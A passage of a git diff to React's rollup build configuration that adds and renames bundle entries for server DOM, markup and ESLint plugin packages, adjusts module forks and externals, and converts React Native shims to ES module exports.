+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'ReactNativeInternalFeatureFlags'],
+  },
+
+  /******* React DOM Client (fbsource) *******/
+  {
+    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],
+    moduleType: RENDERER,
+    entry: 'react-dom/client',
+    global: 'ReactDOMClient',
+    minifyWithProdErrorCodes: true,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],
+  },
+
+  /******* React DOM Profiling (fbsource) *******/
+  {
+    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],
+    moduleType: RENDERER,
+    entry: 'react-dom/profiling',
+    global: 'ReactDOMProfiling',
+    minifyWithProdErrorCodes: true,
+    wrapWithModuleBoundaries: true,
+    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],
+  },
+
+  /******* React DOM Test Utils (fbsource) *******/
+  {
+    moduleType: RENDERER_UTILS,
+    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],
+    entry: 'react-dom/test-utils',
+    global: 'ReactDOMTestUtils',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom', 'ReactNativeInternalFeatureFlags'],
+  },
+
   /******* React DOM React Server *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
@@ -313,7 +363,14 @@ const bundles = [
     global: 'ReactDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'crypto', 'async_hooks', 'react-dom'],
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
   },
   {
     bundleTypes: __EXPERIMENTAL__ ? [FB_WWW_DEV, FB_WWW_PROD] : [],
@@ -348,7 +405,7 @@ const bundles = [
     global: 'ReactDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom'],
+    externals: ['react', 'react-dom', 'crypto', 'stream', 'util'],
   },
 
   /******* React DOM Fizz Server External Runtime *******/
@@ -363,71 +420,91 @@ const bundles = [
     externals: [],
   },
 
-  /******* React Server DOM Webpack Server *******/
+  /******* React HTML RSC *******/
   {
-    bundleTypes: [NODE_DEV, NODE_PROD],
+    bundleTypes: __EXPERIMENTAL__ ? [NODE_DEV, NODE_PROD] : [],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/server.browser',
+    entry: 'react-markup/src/ReactMarkupServer.js',
+    name: 'react-markup.react-server',
     condition: 'react-server',
-    global: 'ReactServerDOMServer',
+    global: 'ReactMarkup',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom'],
+    externals: ['react'],
   },
+
+  /******* React HTML Client *******/
   {
-    bundleTypes: [NODE_DEV, NODE_PROD],
+    bundleTypes: __EXPERIMENTAL__ ? [NODE_DEV, NODE_PROD] : [],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/server.node',
-    condition: 'react-server',
-    global: 'ReactServerDOMServer',
+    entry: 'react-markup/src/ReactMarkupClient.js',
+    name: 'react-markup',
+    global: 'ReactMarkup',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'crypto', 'async_hooks', 'react-dom'],
+    externals: ['react'],
   },
+
+  /******* React Server DOM Webpack Server *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/server.node.unbundled',
+    entry:
+      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',
+    name: 'react-server-dom-webpack-server.browser',
     condition: 'react-server',
     global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'crypto', 'async_hooks', 'react-dom'],
+    externals: ['react', 'react-dom'],
   },
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/server.edge',
+    entry: 'react-server-dom-webpack/src/server/react-flight-dom-server.node',
+    name: 'react-server-dom-webpack-server.node',
     condition: 'react-server',
     global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'crypto', 'async_hooks', 'react-dom'],
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
   },
-
-  /******* React Server DOM Webpack Client *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/client.browser',
-    global: 'ReactServerDOMClient',
+    entry: 'react-server-dom-webpack/src/server/react-flight-dom-server.edge',
+    name: 'react-server-dom-webpack-server.edge',
+    condition: 'react-server',
+    global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom'],
+    externals: ['react'],
   },
+
+  /******* React Server DOM Webpack Client *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/client.node',
+    entry:
+      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',
+    name: 'react-server-dom-webpack-client.browser',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom', 'util', 'crypto'],
+    externals: ['react', 'react-dom'],
   },
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/client.node.unbundled',
+    entry: 'react-server-dom-webpack/src/client/react-flight-dom-client.node',
+    name: 'react-server-dom-webpack-client.node',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
@@ -436,7 +513,8 @@ const bundles = [
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-webpack/client.edge',
+    entry: 'react-server-dom-webpack/src/client/react-flight-dom-client.edge',
+    name: 'react-server-dom-webpack-client.edge',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
@@ -483,7 +561,9 @@ const bundles = [
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/server.browser',
+    entry:
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',
+    name: 'react-server-dom-turbopack-server.browser',
     condition: 'react-server',
     global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
@@ -493,39 +573,40 @@ const bundles = [
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/server.node',
+    entry: 'react-server-dom-turbopack/src/server/react-flight-dom-server.node',
+    name: 'react-server-dom-turbopack-server.node',
     condition: 'react-server',
     global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'async_hooks', 'react-dom'],
-  },
-  {
-    bundleTypes: [NODE_DEV, NODE_PROD],
-    moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/server.node.unbundled',
-    condition: 'react-server',
-    global: 'ReactServerDOMServer',
-    minifyWithProdErrorCodes: false,
-    wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'async_hooks', 'react-dom'],
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
   },
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/server.edge',
+    entry: 'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',
+    name: 'react-server-dom-turbopack-server.edge',
     condition: 'react-server',
     global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'async_hooks', 'react-dom'],
+    externals: ['react'],
   },
 
   /******* React Server DOM Turbopack Client *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/client.browser',
+    entry:
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',
+    name: 'react-server-dom-turbopack-client.browser',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
@@ -534,7 +615,8 @@ const bundles = [
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/client.node',
+    entry: 'react-server-dom-turbopack/src/client/react-flight-dom-client.node',
+    name: 'react-server-dom-turbopack-client.node',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
@@ -543,60 +625,105 @@ const bundles = [
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/client.node.unbundled',
+    entry: 'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',
+    name: 'react-server-dom-turbopack-client.edge',
     global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom', 'util'],
+    externals: ['react', 'react-dom'],
   },
+
+  /******* React Server DOM Parcel Server *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-turbopack/client.edge',
-    global: 'ReactServerDOMClient',
+    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.browser',
+    name: 'react-server-dom-parcel-server.browser',
+    condition: 'react-server',
+    global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
     externals: ['react', 'react-dom'],
   },
-
-  /******* React Server DOM Turbopack Plugin *******/
-  // There is no plugin the moment because Turbopack
-  // does not expose a plugin interface yet.
-
-  /******* React Server DOM Turbopack Node.js Loader *******/
   {
-    bundleTypes: [ESM_PROD],
-    moduleType: RENDERER_UTILS,
-    entry: 'react-server-dom-turbopack/node-loader',
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.node',
+    name: 'react-server-dom-parcel-server.node',
     condition: 'react-server',
-    global: 'ReactServerTurbopackNodeLoader',
+    global: 'ReactServerDOMServer',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['acorn'],
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
   },
-
-  /******* React Server DOM Turbopack Node.js CommonJS Loader *******/
   {
-    bundleTypes: [NODE_ES2015],
-    moduleType: RENDERER_UTILS,
-    entry: 'react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister',
-    name: 'react-server-dom-turbopack-node-register',
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-parcel/src/server/react-flight-dom-server.edge',
+    name: 'react-server-dom-parcel-server.edge',
     condition: 'react-server',
-    global: 'ReactFlightWebpackNodeRegister',
+    global: 'ReactServerDOMServer',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom'],
+  },
+
+  /******* React Server DOM Parcel Client *******/
+  {
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.browser',
+    name: 'react-server-dom-parcel-client.browser',
+    global: 'ReactServerDOMClient',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom'],
+  },
+  {
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.node',
+    name: 'react-server-dom-parcel-client.node',
+    global: 'ReactServerDOMClient',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['url', 'module', 'react-server-dom-turbopack/server'],
+    externals: ['react', 'react-dom', 'util'],
+  },
+  {
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-parcel/src/client/react-flight-dom-client.edge',
+    name: 'react-server-dom-parcel-client.edge',
+    global: 'ReactServerDOMClient',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom'],
   },
 
   /******* React Server DOM ESM Server *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
     moduleType: RENDERER,
-    entry: 'react-server-dom-esm/server.node',
+    entry: 'react-server-dom-esm/src/server/react-flight-dom-server.node',
+    name: 'react-server-dom-esm-server.node',
     condition: 'react-server',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'util', 'crypto', 'async_hooks', 'react-dom'],
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
   },
 
   /******* React Server DOM ESM Client *******/
@@ -614,7 +741,7 @@ const bundles = [
     entry: 'react-server-dom-esm/client.node',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: ['react', 'react-dom', 'util', 'crypto'],
+    externals: ['react', 'react-dom', 'util'],
   },
 
   /******* React Server DOM ESM Node.js Loader *******/
@@ -629,6 +756,63 @@ const bundles = [
     externals: ['acorn'],
   },
 
+  /******* React Server DOM Unbundled Server *******/
+  {
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-unbundled/src/server/react-flight-dom-server.node',
+    name: 'react-server-dom-unbundled-server.node',
+    condition: 'react-server',
+    global: 'ReactServerDOMServer',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: [
+      'react',
+      'react-dom',
+      'async_hooks',
+      'crypto',
+      'stream',
+      'util',
+    ],
+  },
+
+  /******* React Server DOM Unbundled Client *******/
+  {
+    bundleTypes: [NODE_DEV, NODE_PROD],
+    moduleType: RENDERER,
+    entry: 'react-server-dom-unbundled/src/client/react-flight-dom-client.node',
+    name: 'react-server-dom-unbundled-client.node',
+    global: 'ReactServerDOMClient',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['react', 'react-dom', 'util', 'crypto'],
+  },
+
+  /******* React Server DOM Unbundled Node.js Loader *******/
+  {
+    bundleTypes: [ESM_PROD],
+    moduleType: RENDERER_UTILS,
+    entry: 'react-server-dom-unbundled/node-loader',
+    condition: 'react-server',
+    global: 'ReactServerUnbundledNodeLoader',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['acorn'],
+  },
+
+  /******* React Server DOM Unbundled Node.js CommonJS Loader *******/
+  {
+    bundleTypes: [NODE_ES2015],
+    moduleType: RENDERER_UTILS,
+    entry: 'react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister',
+    name: 'react-server-dom-unbundled-node-register',
+    condition: 'react-server',
+    global: 'ReactFlightUnbundledNodeRegister',
+    minifyWithProdErrorCodes: false,
+    wrapWithModuleBoundaries: false,
+    externals: ['url', 'module', 'react-server-dom-unbundled/server'],
+  },
+
   /******* React Suspense Test Utils *******/
   {
     bundleTypes: [NODE_ES2015],
@@ -662,40 +846,6 @@ const bundles = [
       }),
   },
 
-  /******* React Native *******/
-  {
-    bundleTypes: __EXPERIMENTAL__
-      ? []
-      : [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],
-    moduleType: RENDERER,
-    entry: 'react-native-renderer',
-    global: 'ReactNativeRenderer',
-    externals: ['react-native', 'ReactNativeInternalFeatureFlags'],
-    minifyWithProdErrorCodes: false,
-    wrapWithModuleBoundaries: true,
-    babel: opts =>
-      Object.assign({}, opts, {
-        plugins: opts.plugins.concat([
-          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],
-        ]),
-      }),
-  },
-  {
-    bundleTypes: [RN_OSS_DEV, RN_OSS_PROD, RN_OSS_PROFILING],
-    moduleType: RENDERER,
-    entry: 'react-native-renderer',
-    global: 'ReactNativeRenderer',
-    externals: ['react-native'],
-    minifyWithProdErrorCodes: false,
-    wrapWithModuleBoundaries: true,
-    babel: opts =>
-      Object.assign({}, opts, {
-        plugins: opts.plugins.concat([
-          [require.resolve('@babel/plugin-transform-classes'), {loose: true}],
-        ]),
-      }),
-  },
-
   /******* React Native Fabric *******/
   {
     bundleTypes: __EXPERIMENTAL__
@@ -719,7 +869,9 @@ const bundles = [
     moduleType: RENDERER,
     entry: 'react-native-renderer/fabric',
     global: 'ReactFabric',
-    externals: ['react-native'],
+    // ReactNativeInternalFeatureFlags temporary until we land enableRemoveConsolePatches.
+    // Needs to be done before the next RN OSS release.
+    externals: ['react-native', 'ReactNativeInternalFeatureFlags'],
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: true,
     babel: opts =>
@@ -1078,17 +1230,33 @@ const bundles = [
 
   /******* ESLint Plugin for Hooks *******/
   {
-    // TODO: it's awkward to create a bundle for this but if we don't, the package
-    // won't get copied. We also can't create just DEV bundle because it contains a
-    // NODE_ENV check inside. We should probably tweak our build process to allow
-    // "raw" packages that don't get bundled.
-    bundleTypes: [NODE_DEV, NODE_PROD],
+    // TODO: we're building this from typescript source now, but there's really
+    // no reason to have both dev and prod for this package.  It's
+    // currently required in order for the package to be copied over correctly.
+    // So, it would be worth improving that flow.
+    name: 'eslint-plugin-react-hooks',
+    bundleTypes: [NODE_DEV, NODE_PROD, FB_WWW_DEV, CJS_DTS],
     moduleType: ISOMORPHIC,
-    entry: 'eslint-plugin-react-hooks',
+    entry: 'eslint-plugin-react-hooks/src/index.ts',
     global: 'ESLintPluginReactHooks',
     minifyWithProdErrorCodes: false,
     wrapWithModuleBoundaries: false,
-    externals: [],
+    // This is a Node.js build tool (ESLint plugin), not a www runtime bundle.
+    // Use process.env.NODE_ENV guard instead of __DEV__ for the dev wrapper.
+    wrapWithNodeDevGuard: true,
+    preferBuiltins: true,
+    externals: [
+      '@babel/core',
+      'hermes-parser',
+      'zod',
+      'zod/v4',
+      'zod-validation-error',
+      'zod-validation-error/v4',
+      'crypto',
+      'util',
+    ],
+    tsconfig: './packages/eslint-plugin-react-hooks/tsconfig.json',
+    prebuild: `mkdir -p ./compiler/packages/babel-plugin-react-compiler/dist && echo "module.exports = require('../src/index.ts');" > ./compiler/packages/babel-plugin-react-compiler/dist/index.js`,
   },
 
   /******* React Fresh *******/
@@ -1168,12 +1336,27 @@ function getFilename(bundle, bundleType) {
       return `${globalName}-profiling.js`;
     case BROWSER_SCRIPT:
       return `${name}.js`;
+    case CJS_DTS:
+    case ESM_DTS:
+      return `${name}.d.ts`;
+  }
+}
+
+let activeBundles = bundles;
+if (process.env.BUNDLES_FILTER != null) {
+  activeBundles = activeBundles.filter(
+    bundle => bundle.name === process.env.BUNDLES_FILTER
+  );
+  if (activeBundles.length === 0) {
+    throw new Error(
+      `No bundles matched for BUNDLES_FILTER=${process.env.BUNDLES_FILTER}`
+    );
   }
 }
 
 module.exports = {
   bundleTypes,
   moduleTypes,
-  bundles,
+  bundles: activeBundles,
   getFilename,
 };
diff --git a/scripts/rollup/forks.js b/scripts/rollup/forks.js
index a83b8b1b1a96..2120b370ad34 100644
--- a/scripts/rollup/forks.js
+++ b/scripts/rollup/forks.js
@@ -65,6 +65,12 @@ const forks = Object.freeze({
     if (entry === 'react/src/ReactServer.js') {
       return './packages/react/src/ReactSharedInternalsServer.js';
     }
+    if (entry === 'react-markup/src/ReactMarkupServer.js') {
+      // Inside the ReactMarkupServer render we don't refer to any shared internals
+      // but instead use our own internal copy of the state because you cannot use
+      // any of this state from a component anyway. E.g. you can't use a client hook.
+      return './packages/react/src/ReactSharedInternalsClient.js';
+    }
     if (bundle.condition === 'react-server') {
       return './packages/react-server/src/ReactSharedInternalsServer.js';
     }
@@ -93,7 +99,9 @@ const forks = Object.freeze({
       entry === 'react-dom' ||
       entry === 'react-dom/src/ReactDOMFB.js' ||
       entry === 'react-dom/src/ReactDOMTestingFB.js' ||
-      entry === 'react-dom/src/ReactDOMServer.js'
+      entry === 'react-dom/src/ReactDOMServer.js' ||
+      entry === 'react-markup/src/ReactMarkupClient.js' ||
+      entry === 'react-markup/src/ReactMarkupServer.js'
     ) {
       if (
         bundleType === FB_WWW_DEV ||
@@ -155,6 +163,14 @@ const forks = Object.freeze({
               `Unexpected entry (${entry}) and bundleType (${bundleType})`
             );
         }
+      case 'eslint-plugin-react-hooks/src/index.ts':
+        switch (bundleType) {
+          case FB_WWW_DEV:
+          case FB_WWW_PROD:
+          case FB_WWW_PROFILING:
+            return './packages/shared/forks/ReactFeatureFlags.eslint-plugin.www.js';
+        }
+        return null;
       case 'react-test-renderer':
         switch (bundleType) {
           case RN_FB_DEV:
@@ -187,23 +203,48 @@ const forks = Object.freeze({
     entry,
     dependencies
   ) => {
-    if (
-      bundleType === FB_WWW_DEV ||
-      bundleType === FB_WWW_PROD ||
-      bundleType === FB_WWW_PROFILING
-    ) {
-      return './packages/scheduler/src/forks/SchedulerFeatureFlags.www.js';
-    }
-    return './packages/scheduler/src/SchedulerFeatureFlags.js';
-  },
-
-  './packages/shared/consoleWithStackDev.js': (bundleType, entry) => {
     switch (bundleType) {
       case FB_WWW_DEV:
-        return './packages/shared/forks/consoleWithStackDev.www.js';
+      case FB_WWW_PROD:
+      case FB_WWW_PROFILING:
+        return './packages/scheduler/src/forks/SchedulerFeatureFlags.www.js';
+      case RN_FB_DEV:
+      case RN_FB_PROD:
+      case RN_FB_PROFILING:
+        return './packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js';
       default:
-        return null;
+        return './packages/scheduler/src/SchedulerFeatureFlags.js';
+    }
+  },
+
+  './packages/shared/DefaultPrepareStackTrace.js': (
+    bundleType,
+    entry,
+    dependencies,
+    moduleType
+  ) => {
+    if (moduleType !== RENDERER && moduleType !== RECONCILER) {
+      return null;
+    }
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (let rendererInfo of inlinedHostConfigs) {
+      if (rendererInfo.entryPoints.indexOf(entry) !== -1) {
+        if (!rendererInfo.isServerSupported) {
+          return null;
+        }
+        const foundFork = findNearestExistingForkFile(
+          './packages/shared/forks/DefaultPrepareStackTrace.',
+          rendererInfo.shortName,
+          '.js'
+        );
+        if (foundFork) {
+          return foundFork;
+        }
+        // fall through to error
+        break;
+      }
     }
+    return null;
   },
 
   './packages/react-reconciler/src/ReactFiberConfig.js': (
diff --git a/scripts/rollup/generate-inline-fizz-runtime.js b/scripts/rollup/generate-inline-fizz-runtime.js
index 095bac076313..c531240e0c58 100644
--- a/scripts/rollup/generate-inline-fizz-runtime.js
+++ b/scripts/rollup/generate-inline-fizz-runtime.js
@@ -13,6 +13,10 @@ const inlineCodeStringsFilename =
   instructionDir + '/ReactDOMFizzInstructionSetInlineCodeStrings.js';
 
 const config = [
+  {
+    entry: 'ReactDOMFizzInlineShellTime.js',
+    exportName: 'markShellTime',
+  },
   {
     entry: 'ReactDOMFizzInlineClientRenderBoundary.js',
     exportName: 'clientRenderBoundary',
@@ -21,6 +25,10 @@ const config = [
     entry: 'ReactDOMFizzInlineCompleteBoundary.js',
     exportName: 'completeBoundary',
   },
+  {
+    entry: 'ReactDOMFizzInlineCompleteBoundaryUpgradeToViewTransitions.js',
+    exportName: 'completeBoundaryUpgradeToViewTransitions',
+  },
   {
     entry: 'ReactDOMFizzInlineCompleteBoundaryWithStyles.js',
     exportName: 'completeBoundaryWithStyles',
@@ -46,7 +54,6 @@ async function main() {
         js: [
           require.resolve('./externs/closure-externs.js'),
           fullEntryPath,
-          instructionDir + '/ReactDOMFizzInstructionSetInlineSource.js',
           instructionDir + '/ReactDOMFizzInstructionSetShared.js',
         ],
         compilation_level: 'ADVANCED',
@@ -67,7 +74,7 @@ async function main() {
         });
       });
 
-      return `export const ${exportName} = ${JSON.stringify(code.trim())};`;
+      return `export const ${exportName} = ${JSON.stringify(code.trim().replace('\n', ''))};`;
     })
   );
 
diff --git a/scripts/rollup/modules.js b/scripts/rollup/modules.js
index e1ebc1c945a0..2afa0cc98b10 100644
--- a/scripts/rollup/modules.js
+++ b/scripts/rollup/modules.js
@@ -22,6 +22,9 @@ const importSideEffects = Object.freeze({
   'react-dom': HAS_NO_SIDE_EFFECTS_ON_IMPORT,
   url: HAS_NO_SIDE_EFFECTS_ON_IMPORT,
   ReactNativeInternalFeatureFlags: HAS_NO_SIDE_EFFECTS_ON_IMPORT,
+  'webpack-sources/lib/helpers/createMappingsSerializer.js':
+    HAS_NO_SIDE_EFFECTS_ON_IMPORT,
+  'webpack-sources/lib/helpers/readMappings.js': HAS_NO_SIDE_EFFECTS_ON_IMPORT,
 });
 
 // Bundles exporting globals that other modules rely on.
diff --git a/scripts/rollup/packaging.js b/scripts/rollup/packaging.js
index 7c433fc2dd33..564c40f71b92 100644
--- a/scripts/rollup/packaging.js
+++ b/scripts/rollup/packaging.js
@@ -34,6 +34,8 @@ const {
   RN_FB_PROD,
   RN_FB_PROFILING,
   BROWSER_SCRIPT,
+  CJS_DTS,
+  ESM_DTS,
 } = Bundles.bundleTypes;
 
 function getPackageName(name) {
@@ -49,6 +51,7 @@ function getBundleOutputPath(bundle, bundleType, filename, packageName) {
       return `build/node_modules/${packageName}/cjs/${filename}`;
     case ESM_DEV:
     case ESM_PROD:
+    case ESM_DTS:
       return `build/node_modules/${packageName}/esm/${filename}`;
     case BUN_DEV:
     case BUN_PROD:
@@ -56,6 +59,7 @@ function getBundleOutputPath(bundle, bundleType, filename, packageName) {
     case NODE_DEV:
     case NODE_PROD:
     case NODE_PROFILING:
+    case CJS_DTS:
       return `build/node_modules/${packageName}/cjs/${filename}`;
     case FB_WWW_DEV:
     case FB_WWW_PROD:
@@ -76,6 +80,7 @@ function getBundleOutputPath(bundle, bundleType, filename, packageName) {
       switch (packageName) {
         case 'scheduler':
         case 'react':
+        case 'react-dom':
         case 'react-is':
         case 'react-test-renderer':
           return `build/facebook-react-native/${packageName}/cjs/${filename}`;
diff --git a/scripts/rollup/plugins/external-runtime-plugin.js b/scripts/rollup/plugins/external-runtime-plugin.js
new file mode 100644
index 000000000000..c2966844732f
--- /dev/null
+++ b/scripts/rollup/plugins/external-runtime-plugin.js
@@ -0,0 +1,46 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+'use strict';
+
+module.exports = function externalRuntime() {
+  // When generating the source code for the Fizz runtime chunks we use global identifiers to refer
+  // to different parts of the implementation. When generating the external runtime we need to
+  // replace those with local identifiers instead.
+  return {
+    name: 'scripts/rollup/plugins/dynamic-imports',
+    renderChunk(source) {
+      // This replaces "window['$globalVar']" with "$globalVar".
+      const variables = new Set();
+      source = source.replace(
+        /window\[['"](\$[A-z0-9_]*)['"]\]/g,
+        (_, variableName) => {
+          variables.add(variableName);
+          return variableName;
+        }
+      );
+      const startOfFn = 'use strict';
+      let index = source.indexOf(startOfFn);
+      if (index === -1) {
+        return source;
+      }
+      index += startOfFn.length + 2;
+
+      // Insert the declarations in the beginning of the function closure
+      // to scope them to inside the runtime.
+      let declarations = 'let ';
+      variables.forEach(variable => {
+        if (declarations !== 'let ') {
+          declarations += ', ';
+        }
+        declarations += variable;
+      });
+      declarations += ';';
+      source = source.slice(0, index) + declarations + source.slice(index);
+      return source;
+    },
+  };
+};
diff --git a/scripts/rollup/shims/react-native/ReactFabric.js b/scripts/rollup/shims/react-native/ReactFabric.js
index 61f6d726887b..69fb77af69a8 100644
--- a/scripts/rollup/shims/react-native/ReactFabric.js
+++ b/scripts/rollup/shims/react-native/ReactFabric.js
@@ -15,7 +15,7 @@ import {BatchedBridge} from 'react-native/Libraries/ReactPrivate/ReactNativePriv
 
 import type {ReactFabricType} from './ReactNativeTypes';
 
-let ReactFabric;
+let ReactFabric: ReactFabricType;
 
 if (__DEV__) {
   ReactFabric = require('../implementations/ReactFabric-dev');
@@ -29,4 +29,4 @@ if (global.RN$Bridgeless !== true) {
   BatchedBridge.registerCallableModule('ReactFabric', ReactFabric);
 }
 
-module.exports = (ReactFabric: ReactFabricType);
+export default ReactFabric;
diff --git a/scripts/rollup/shims/react-native/ReactFeatureFlags.js b/scripts/rollup/shims/react-native/ReactFeatureFlags.js
index 69e6f48b68a3..3f8f278e972a 100644
--- a/scripts/rollup/shims/react-native/ReactFeatureFlags.js
+++ b/scripts/rollup/shims/react-native/ReactFeatureFlags.js
@@ -15,4 +15,4 @@ const ReactFeatureFlags = {
   debugRenderPhaseSideEffects: false,
 };
 
-module.exports = ReactFeatureFlags;
+export default ReactFeatureFlags;
diff --git a/scripts/rollup/shims/react-native/ReactNative.js b/scripts/rollup/shims/react-native/ReactNative.js
index d0297cc9a61c..4e7ab19ae6e6 100644
--- a/scripts/rollup/shims/react-native/ReactNative.js
+++ b/scripts/rollup/shims/react-native/ReactNative.js
@@ -12,12 +12,13 @@
 
 import type {ReactNativeType} from './ReactNativeTypes';
 
-let ReactNative;
+let ReactNative: ReactNativeType;
 
+// TODO: Delete the legacy renderer. Only ReactFabric is used now.
 if (__DEV__) {
   ReactNative = require('../implementations/ReactNativeRenderer-dev');
 } else {
   ReactNative = require('../implementations/ReactNativeRenderer-prod');
 }
 
-module.exports = (ReactNative: ReactNativeType);
+export default ReactNative;
